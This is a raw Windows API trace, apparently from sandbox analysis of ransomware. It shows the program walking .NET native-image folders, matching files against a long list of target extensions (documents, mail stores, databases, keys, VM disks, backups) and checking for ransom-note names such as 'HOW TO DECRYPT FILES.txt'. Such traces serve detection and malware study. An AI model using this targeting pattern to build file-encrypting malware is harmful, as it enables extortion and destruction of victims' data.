(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.qif") returned 0 [0104.217] lstrlenA (lpString="*.qif") returned 5 [0104.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.mye") returned 0 [0104.217] lstrlenA (lpString="*.mye") returned 5 [0104.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.mbox") returned 0 [0104.217] lstrlenA (lpString="*.mbox") returned 6 [0104.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.eml") returned 0 [0104.217] lstrlenA (lpString="*.eml") returned 5 [0104.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.pst") returned 0 [0104.217] lstrlenA (lpString="*.pst") returned 5 [0104.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.ost") returned 0 [0104.217] lstrlenA (lpString="*.ost") returned 5 [0104.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.idx") returned 0 [0104.218] lstrlenA (lpString="*.idx") returned 5 [0104.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.dbx") returned 0 [0104.218] lstrlenA (lpString="*.dbx") returned 5 [0104.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.sql") returned 0 [0104.218] lstrlenA (lpString="*.sql") returned 5 [0104.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.mdb") returned 0 [0104.218] lstrlenA (lpString="*.mdb") returned 5 [0104.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.fdb") returned 0 [0104.218] lstrlenA (lpString="*.fdb") returned 5 [0104.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.wab") returned 0 [0104.218] lstrlenA (lpString="*.wab") returned 5 [0104.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.dat") returned 0 [0104.218] lstrlenA (lpString="*.dat") returned 5 [0104.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.txt") returned 0 [0104.218] lstrlenA (lpString="*.txt") returned 5 [0104.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.jpeg") returned 0 [0104.218] lstrlenA (lpString="*.jpeg") returned 6 [0104.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.jpg") returned 0 [0104.219] lstrlenA (lpString="*.jpg") returned 5 [0104.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.png") returned 0 [0104.219] lstrlenA (lpString="*.png") returned 5 [0104.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.php") returned 0 [0104.219] lstrlenA (lpString="*.php") returned 5 [0104.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.cs") returned 0 [0104.219] lstrlenA (lpString="*.cs") returned 4 [0104.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.cpp") returned 0 [0104.219] lstrlenA (lpString="*.cpp") returned 5 [0104.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.rar") returned 0 [0104.219] lstrlenA (lpString="*.rar") returned 5 [0104.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.zip") returned 0 [0104.219] lstrlenA (lpString="*.zip") returned 5 [0104.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.html") returned 0 [0104.219] lstrlenA (lpString="*.html") returned 6 [0104.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.htm") returned 0 [0104.219] lstrlenA (lpString="*.htm") returned 5 [0104.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.xlsx") returned 0 [0104.220] lstrlenA (lpString="*.xlsx") returned 6 [0104.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.xls") returned 0 [0104.220] lstrlenA (lpString="*.xls") returned 5 [0104.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.mp4") returned 0 [0104.220] lstrlenA (lpString="*.mp4") returned 5 [0104.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.ppt") returned 0 [0104.220] lstrlenA (lpString="*.ppt") returned 5 [0104.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.pptx") returned 0 [0104.220] lstrlenA (lpString="*.pptx") returned 6 [0104.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.doc") returned 0 [0104.220] lstrlenA (lpString="*.doc") returned 5 [0104.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.dot") returned 0 [0104.220] lstrlenA (lpString="*.dot") returned 5 [0104.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.docx") returned 0 [0104.221] lstrlenA (lpString="*.docx") returned 6 [0104.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.7z") returned 0 [0104.221] lstrlenA (lpString="*.7z") returned 4 [0104.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.tar") returned 0 [0104.221] lstrlenA (lpString="*.tar") returned 5 [0104.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.bz2") returned 0 [0104.221] lstrlenA (lpString="*.bz2") returned 5 [0104.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.gz") returned 0 [0104.221] lstrlenA (lpString="*.gz") returned 4 [0104.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.mkv") returned 0 [0104.221] lstrlenA (lpString="*.mkv") returned 5 [0104.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.eml") returned 0 [0104.221] lstrlenA (lpString="*.eml") returned 5 [0104.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.msg") returned 0 [0104.221] lstrlenA (lpString="*.msg") returned 5 [0104.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.edb") returned 0 [0104.221] lstrlenA (lpString="*.edb") returned 5 [0104.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.accdb") returned 0 [0104.222] lstrlenA (lpString="*.accdb") returned 7 [0104.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.odb") returned 0 [0104.222] lstrlenA (lpString="*.odb") returned 5 [0104.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.java") returned 0 [0104.222] lstrlenA (lpString="*.java") returned 6 [0104.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.asm") returned 0 [0104.222] lstrlenA (lpString="*.asm") returned 5 [0104.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.pfx") returned 0 [0104.222] lstrlenA (lpString="*.pfx") returned 5 [0104.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.pem") returned 0 [0104.222] lstrlenA (lpString="*.pem") returned 5 [0104.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.p12") returned 0 [0104.222] lstrlenA (lpString="*.p12") returned 5 [0104.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.gpg") returned 0 [0104.222] lstrlenA (lpString="*.gpg") returned 5 [0104.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.vsd") returned 0 [0104.222] lstrlenA (lpString="*.vsd") returned 5 [0104.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.odg") returned 0 [0104.222] lstrlenA (lpString="*.odg") returned 5 [0104.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.raw") returned 0 [0104.223] lstrlenA (lpString="*.raw") returned 5 [0104.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.nef") returned 0 [0104.223] lstrlenA (lpString="*.nef") returned 5 [0104.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.svg") returned 0 [0104.223] lstrlenA (lpString="*.svg") returned 5 [0104.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.psd") returned 0 [0104.223] lstrlenA (lpString="*.psd") returned 5 [0104.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.vmx") returned 0 [0104.223] lstrlenA (lpString="*.vmx") returned 5 [0104.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.vmdk") returned 0 [0104.223] lstrlenA (lpString="*.vmdk") returned 6 [0104.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.vdi") returned 0 [0104.223] lstrlenA (lpString="*.vdi") returned 5 [0104.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.lay6") returned 0 [0104.223] lstrlenA (lpString="*.lay6") returned 6 [0104.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.mpeg") returned 0 [0104.223] lstrlenA (lpString="*.mpeg") returned 6 [0104.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.djvu") returned 0 [0104.224] lstrlenA (lpString="*.djvu") returned 6 [0104.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.tiff") returned 0 [0104.224] lstrlenA (lpString="*.tiff") returned 6 [0104.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.backup") returned 0 [0104.224] lstrlenA (lpString="*.backup") returned 8 [0104.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.pdf") returned 0 [0104.224] lstrlenA (lpString="*.pdf") returned 5 [0104.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.cert") returned 0 [0104.224] lstrlenA (lpString="*.cert") returned 6 [0104.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.docm") returned 0 [0104.224] lstrlenA (lpString="*.docm") returned 6 [0104.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.xlsm") returned 0 [0104.224] lstrlenA (lpString="*.xlsm") returned 6 [0104.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.dwg") returned 0 [0104.224] lstrlenA (lpString="*.dwg") returned 5 [0104.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.nd") returned 0 [0104.225] lstrlenA (lpString="*.nd") returned 4 [0104.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.tlg") returned 0 [0104.225] lstrlenA (lpString="*.tlg") returned 5 [0104.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.lgb") returned 0 [0104.225] lstrlenA (lpString="*.lgb") returned 5 [0104.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.mov") returned 0 [0104.225] lstrlenA (lpString="*.mov") returned 5 [0104.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.xdw") returned 0 [0104.225] lstrlenA (lpString="*.xdw") returned 5 [0104.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.ods") returned 0 [0104.225] lstrlenA (lpString="*.ods") returned 5 [0104.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.wav") returned 0 [0104.225] lstrlenA (lpString="*.wav") returned 5 [0104.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.mp3") returned 0 [0104.225] lstrlenA (lpString="*.mp3") returned 5 [0104.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.aiff") returned 0 [0104.225] lstrlenA (lpString="*.aiff") returned 6 [0104.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.flac") returned 0 [0104.225] lstrlenA (lpString="*.flac") returned 6 [0104.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.m4a") returned 0 [0104.226] lstrlenA (lpString="*.m4a") returned 5 [0104.226] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.csv") returned 0 [0104.226] lstrlenA (lpString="*.csv") returned 5 [0104.226] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c5b64b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x70c5b64b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x70ccda6c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x280800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Narrator.ni.exe", cAlternateFileName="NARRAT~1.EXE")) returned 0 [0104.226] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.226] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70d8c14d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x70d8c14d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x70d8c14d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0bae62c3fc6c327ed24989263988173d", cAlternateFileName="0BAE62~1")) returned 0 [0104.226] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.226] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7165327d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7165327d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7165327d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61004e, dwReserved1=0x720072, cFileName="PresentationBuildTa#", cAlternateFileName="PR0EB0~1")) returned 1 [0104.226] lstrcmpA (lpString1=".", lpString2="PresentationBuildTa#") returned -1 [0104.226] lstrcmpA (lpString1="..", lpString2="PresentationBuildTa#") returned -1 [0104.226] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.226] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="PresentationBuildTa#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#" [0104.226] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#") returned 67 [0104.226] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7165327d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7165327d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7165327d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.227] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.227] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7165327d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7165327d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7165327d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.227] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.227] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.227] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7165327d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7165327d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7165327d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c0a8f3f379d7a62a032783cc4e04a4dd", cAlternateFileName="C0A8F3~1")) returned 1 [0104.227] lstrcmpA (lpString1=".", lpString2="c0a8f3f379d7a62a032783cc4e04a4dd") returned -1 [0104.227] lstrcmpA (lpString1="..", lpString2="c0a8f3f379d7a62a032783cc4e04a4dd") returned -1 [0104.228] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\*.*") returned="*.*" [0104.228] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\", lpString2="c0a8f3f379d7a62a032783cc4e04a4dd" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd" [0104.228] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd") returned 100 [0104.228] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7165327d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7165327d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7165327d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.228] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.228] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7165327d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7165327d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7165327d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.228] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.228] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.228] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71594b9c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71594b9c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x715e0e5d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x162600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationBuildTasks.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0104.228] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.228] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationBuildTasks.ni.dll") returned -1 [0104.229] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationBuildTasks.ni.dll") returned -1 